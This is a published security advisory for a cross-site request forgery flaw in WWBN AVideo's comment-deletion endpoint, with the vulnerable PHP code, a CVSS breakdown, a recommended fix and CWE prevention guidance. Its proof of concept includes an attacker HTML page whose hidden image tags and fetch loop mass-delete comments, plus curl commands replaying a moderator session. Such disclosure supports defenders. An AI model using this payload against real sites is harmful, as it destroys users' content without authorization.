Skip to content

GHSA-8qm8-g55h-xmqr CVE-2026-40929

WWBN AVideo is missing CSRF protection in objects/commentDelete.json.php enables mass comment deletion against moderators and content creators

Medium Packagist
Severity
5.4 / 10
Medium · CVSS 3.1
Exploit chance (EPSS)
0.11%
Chance of exploitation in the next 30 days. Higher than 1.42% of scored vulnerabilities.
Known exploited
No
Not in CISA's catalog
Weakness
CWE-352 Cross-Site Request Forgery (CSRF)
Fix
None yet
No fixed version published

Description

Summary

objects/commentDelete.json.php is a state-mutating JSON endpoint that deletes comments but performs no CSRF validation. It does not call forbidIfIsUntrustedRequest(), does not verify a CSRF/global token, and does not check Origin/Referer. Because AVideo intentionally sets session.cookie_samesite=None (to support cross-origin embed players), a cross-site request from any attacker-controlled page automatically carries the victim's PHPSESSID. Any authenticated victim who has authority to delete one or more comments (site moderators, video owners, and comment authors) can be tricked into deleting comments en masse simply by visiting an attacker page.

Details

Vulnerable endpoint: objects/commentDelete.json.php

// objects/commentDelete.json.php:1-35
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_REQUEST['id']);      // <-- GET or POST
$obj->status = false;

if (empty($obj->id)) {
    $obj->id = intval(@$_REQUEST['comments_id']);
}

if (empty($obj->id)) {
    $obj->msg = __("ID can not be empty");
    die(_json_encode($obj));
}

$objC = new Comment("", 0, $obj->id);
$obj->videos_id = $objC->getVideos_id();
$obj->status = $objC->delete();           // <-- destructive action, no CSRF check
...

No forbidIfIsUntrustedRequest(), no verifyToken(), no token/nonce parameter, no Origin/Referer validation. The handler accepts $_REQUEST, so the request may be delivered as GET (e.g. via <img src>) or POST (e.g. via an auto-submitting form / fetch).

Authorization inside Comment::delete() does not stop CSRF

// objects/comment.php:147-159
public function delete() {
    if (!self::userCanAdminComment($this->id)) {
        return false;
    }
    ...
    $sql = "DELETE FROM comments WHERE id = ?";
    ...
    return sqlDAL::writeSql($sql, "i", [$this->id]);
}

// objects/comment.php:316-332
public static function userCanAdminComment($comments_id) {
    if (!User::isLogged()) { return false; }
    if (Permissions::canAdminComment()) { return true; }   // site moderator
    $obj = new Comment("", 0, $comments_id);
    if ($obj->users_id == User::getId()) { return true; }  // comment owner
    $video = new Video("", "", $obj->videos_id);
    if ($video->getUsers_id() == User::getId()) { return true; } // video owner
    return false;
}

This check is exactly what CSRF abuses: it asks "is the session user allowed to delete this comment?" In a CSRF attack, the session user is the victim, and yes — the victim is allowed. So the check grants the request.

Site-wide cookie policy makes cross-site delivery reliable

// objects/include_config.php:139-146
if ($isHTTPS) {
    // SameSite=None is intentional: AVideo supports cross-origin iframe embedding
    // where users must stay authenticated (e.g. video players on third-party sites).
    // Setting Lax would break that use case. All state-mutating endpoints that are
    // vulnerable to CSRF must instead enforce a short-lived globalToken (verifyToken).
    ini_set('session.cookie_samesite', 'None');
    ini_set('session.cookie_secure', '1');
}

The in-source comment is explicit: because AVideo intentionally opts out of SameSite protection, every state-mutating endpoint is responsible for its own CSRF defense. commentDelete.json.php forgets to apply it. The canonical example that does get it right is objects/userUpdate.json.php:18:

// objects/userUpdate.json.php:13-18
if (!User::isLogged()) {
    $obj->msg = __("Is not logged");
    die(json_encode($obj));
}

forbidIfIsUntrustedRequest();   // <-- what commentDelete.json.php is missing

A repository-wide grep for forbidIfIsUntrustedRequest yields only objects/userUpdate.json.php and the function definition itself — no shared middleware exists, and no bootstrap in configuration.php / include_config.php wraps endpoints with a CSRF check.

Attacker model / victim value

  • Site moderators (any account with Permissions::canAdminComment()): full-site comment deletion oracle.
  • Video creators (channel owners): deletion oracle for every comment on their own videos.
  • Comment authors: only their own comments (self-DoS, low value).

The first two classes make this a real integrity/availability attack on community content.

PoC

Assume the target AVideo instance runs at https://victim.example.com and the victim is a logged-in moderator (or any video owner). The attacker hosts:

<!-- https://attacker.example/mass-delete.html -->
<!doctype html>
<html><body>
<h1>Cute kittens</h1>
<!-- GET variant (works because the endpoint uses $_REQUEST): -->
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=1" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=2" style="display:none">
<img src="https://victim.example.com/objects/commentDelete.json.php?comments_id=3" style="display:none">
<!-- ... up to N -->

<!-- POST variant (same result, reaches the POST code path the legit UI uses): -->
<script>
for (let i = 1; i <= 10000; i++) {
  fetch("https://victim.example.com/objects/commentDelete.json.php", {
    method: "POST",
    credentials: "include",
    headers: {"Content-Type": "application/x-www-form-urlencoded"},
    body: "comments_id=" + i
  });
}
</script>
</body></html>

Manual verification of the server-side handler with the victim's own cookie (demonstrates that the endpoint itself performs the delete with no token):

# 1. Log in as a moderator and capture PHPSESSID
curl -c cookies.txt -d 'user=moderator&pass=pass' \
  https://victim.example.com/objects/userLogin.json.php

# 2. Call the endpoint with nothing but the session cookie and a comments_id.
#    No CSRF token, no Referer/Origin matching the site.
curl -b cookies.txt \
  -H 'Origin: https://attacker.example' \
  -H 'Referer: https://attacker.example/mass-delete.html' \
  'https://victim.example.com/objects/commentDelete.json.php?comments_id=1'
# -> {"error":false,"msg":"","id":1,"status":true,"videos_id":...}

The {"status":true,"error":false} response confirms the row was deleted; compare with objects/userUpdate.json.php under the same Origin/Referer, which returns the "Invalid Request" forbidden page from forbidIfIsUntrustedRequest().

Impact

  • Cross-site mass deletion of comments.
  • Against a site moderator (Permissions::canAdminComment()), the attacker can permanently delete every comment on the platform — a severe content-integrity and availability hit on the community layer.
  • Against any channel owner, the attacker can wipe all discussion under that creator's videos, a targeted reputation / engagement attack (e.g., silence dissent, silence evidence of prior posts).
  • The attack only requires luring a logged-in victim to any page that can fetch/embed/submit — a forum post, a compromised ad, a link in email, a rogue embed.
  • No credential compromise is required; the attack does not leak data, but it destroys it.
  • Because SameSite=None is a deliberate, documented product decision, browser-side defenses do not intervene.

Recommended Fix

Apply the project's own prescribed CSRF pattern to the handler. Two layers are appropriate:

  1. Require an authenticated session and reject untrusted-origin requests (same treatment as userUpdate.json.php).
  2. Restrict the method to POST so drive-by <img> and navigational GET deliveries cannot reach the sink.
// objects/commentDelete.json.php
<?php
header('Content-Type: application/json');
global $global, $config;
if (!isset($global['systemRootPath'])) {
    require_once '../videos/configuration.php';
}
require_once $global['systemRootPath'] . 'objects/comment.php';

// --- added CSRF defense ---
if (!User::isLogged()) {
    die(_json_encode((object)['error' => true, 'msg' => __('Is not logged')]));
}
forbidIfIsUntrustedRequest();                       // Referer/Origin gate
if ($_SERVER['REQUEST_METHOD'] !== 'POST') {         // no $_REQUEST drive-by
    die(_json_encode((object)['error' => true, 'msg' => 'POST required']));
}
// --- end added ---

$obj = new stdClass();
$obj->error = true;
$obj->msg = '';
$obj->id = intval(@$_POST['id']);
$obj->status = false;

if (empty($obj->id)) {
    $obj->id = intval(@$_POST['comments_id']);
}
...

Stronger (recommended): also require a short-lived global token via verifyToken() as the in-source comment in objects/include_config.php prescribes, and audit every other objects/*.json.php handler that performs a write — the same omission likely affects additional endpoints and should be handled project-wide, ideally through a shared bootstrap that enforces forbidIfIsUntrustedRequest() for any json.php that mutates state.

Affected versions

Packagist

PackageVulnerableFixed in
wwbn/avideo
<= 29.0
No fix yet

How to fix

No fixed version has been published yet. Until one is, remove or replace the package, or turn off or isolate the affected feature. This page updates when a fix ships.

Severity breakdown

CVSS 3.1 5.4

CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:L

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Unchanged
Confidentiality
None
Integrity
Low
Availability
Low

Weakness

CWE-352: Cross-Site Request Forgery (CSRF)

The web application does not, or cannot, sufficiently verify whether a request was intentionally provided by the user who sent the request, which could have originated from an unauthorized actor.

How to prevent it
  • Architecture and Design: Use a vetted library or framework that does not allow this weakness to occur or provides constructs that make this weakness easier to avoid [REF-1482]. For example, use anti-CSRF packages such as the OWASP CSRFGuard. [REF-330] Another example is the ESAPI Session Management control, which includes a component for CSRF. [REF-45]
  • Implementation: Ensure that the application is free of cross-site scripting issues (CWE-79), because most CSRF defenses can be bypassed using attacker-controlled script.
  • Architecture and Design: Generate a unique nonce for each form, place the nonce into the form, and verify the nonce upon receipt of the form. Be sure that the nonce is not predictable (CWE-330). [REF-332]
  • Architecture and Design: Identify especially dangerous operations. When the user performs a dangerous operation, send a separate confirmation request to ensure that the user intended to perform that operation.
  • Architecture and Design: Use the "double-submitted cookie" method as described by Felten and Zeller: When a user visits a site, the site should generate a pseudorandom value and set it as a cookie on the user's machine. The site should require every form submission to include this value as a form value and also as a cookie value. When a POST request is sent to the site, the request should only be considered valid if the form value and the cookie value are the same. Because of the same-origin policy, an attacker cannot read or modify the value stored in the cookie. To successfully submit a form on behalf of the user, the attacker would have to correctly guess the pseudorandom value. If the pseudorandom value is cryptographically strong, this will be prohibitively difficult. This technique requires Javascript, so it may not work for browsers that have Javascript disabled. [REF-331]
  • Architecture and Design: Do not use the GET method for any request that triggers a state change.
  • Implementation: Check the HTTP Referer header to see if the request originated from an expected page. This could break legitimate functionality, because users or proxies may have disabled sending the Referer for privacy reasons.

References

Timeline

  1. Published
  2. Last updated by the source
  3. Latest EPSS score
AdvisorySeverityWhy it's related
GHSA-7cqp-7cfv-6c3q
AVideo Meet plugin: anonymous-to-admin stored XSS via unescaped participant User-Agent in getMeetInfo.json.php Participants panel
Medium Also affects wwbn/avideo
GHSA-wc3f-xc32-435f
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
High Also affects wwbn/avideo
GHSA-95jh-7r58-xmxw
AVideo has an Authorize.Net Webhook Signature Bypass that Enables Wallet Balance Inflation via Forged Payment Data
Medium Also affects wwbn/avideo
GHSA-wf69-r4mx-43rr
AVideo Vulnerable to Unauthenticated .env File Exposure via Official Docker Compose Configuration
High Also affects wwbn/avideo
GHSA-8j8m-p79x-g4jm
AVideo's Privilege Escalation via Unguarded Permission Parameters in signUp API Allows Self-Granting Upload/Stream/Meet Permissions
Medium Also affects wwbn/avideo
GHSA-8whc-2wmv-ww35
WWBN AVideo: Unauthenticated Stored DOM Cross-Site Scripting via Per-Client Metadata Broadcast in YPTSocket Plugin
Critical Also affects WWBN/AVideo
GHSA-66q5-cj5g-wrfx
WWBN AVideo: Stored XSS via Hostile YouTube Video Title in AVideo YouTubeAPI Gallery Section
Medium Also affects WWBN/AVideo
GHSA-hgjh-6wj8-gcgf
WWBN AVideo: Unauthenticated Reflected XSS via $_GET['search'] in AVideo YouTubeAPI Gallery Pagination
Medium Also affects WWBN/AVideo
Is this in your code?

MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.

Check your repos with MergeHarbor